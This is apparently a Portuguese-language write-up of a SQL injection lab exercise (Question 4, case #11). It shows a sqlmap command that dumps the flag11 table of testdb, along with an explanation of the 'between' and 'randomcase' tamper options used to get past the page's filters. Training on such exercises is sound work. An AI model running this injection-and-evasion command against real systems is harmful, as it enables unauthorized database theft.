# Question-4

Qual é o conteúdo da tabela flag11? (Caso #11)



* Com base nos dados fornecidos na página, escolha o script de violação apropriado para ignorar as proteções da página.

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FbIBMSlYm8ea6Rtq6e8Aa%2Fimage.png?alt=media&#x26;token=c740e920-6997-449d-8259-ca7cbbb77a32" alt=""><figcaption></figcaption></figure>

**Payload** :&#x20;

```
sqlmap -r req.txt --batch -D testdb -T flag11 --columns content --dump --tamper=between,randomcase
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FNDKsSZszkwKCYyXAP45a%2Fimage.png?alt=media&#x26;token=a862f9c5-c854-4c1e-ae31-d5c842b64cca" alt=""><figcaption></figcaption></figure>

* `--tamper=between,randomcase`: `--tamper` é uma opção que permite modificar automaticamente os payloads injetados pelo SQLMap antes de enviar para o servidor. No seu caso:

> `between`: Modifica os payloads injetados para incluir a palavra-chave `BETWEEN` em declarações SQL. Isso pode ajudar a explorar diferentes formas de injeção SQL que envolvem a cláusula `BETWEEN`.

> `randomcase`: Altera aleatoriamente a caixa (maiúsculas e minúsculas) dos caracteres nos payloads injetados. Isso pode ajudar a contornar sistemas de detecção que filtram payloads baseados na caixa dos caracteres.

